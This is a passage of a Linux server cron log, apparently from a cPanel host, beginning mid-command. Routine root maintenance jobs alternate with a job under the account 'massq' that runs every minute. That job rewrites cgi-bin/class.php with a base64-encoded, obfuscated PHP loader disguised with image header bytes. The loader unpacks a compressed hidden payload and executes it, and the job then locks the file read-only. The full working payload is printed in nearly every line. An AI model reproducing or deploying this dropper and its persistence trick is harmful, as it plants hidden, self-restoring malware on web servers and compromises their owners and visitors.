7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:30:01 server CROND[18538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 09:31:01 server CROND[18645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:32:02 server CROND[18701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:33:01 server CROND[18764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:34:01 server CROND[18824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:35:01 server CROND[18976]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:35:01 server CROND[18977]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 09:35:01 server CROND[18978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:35:01 server CROND[18980]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 09:35:01 server CROND[18984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:36:01 server CROND[19109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:37:01 server CROND[19162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:38:01 server CROND[19269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:39:01 server CROND[19325]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 09:39:01 server CROND[19324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:40:01 server CROND[19386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:40:01 server CROND[19387]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 09:40:01 server CROND[19388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:40:01 server CROND[19389]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:41:01 server CROND[19588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:42:01 server CROND[19653]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 09:42:01 server CROND[19654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:43:01 server CROND[19721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
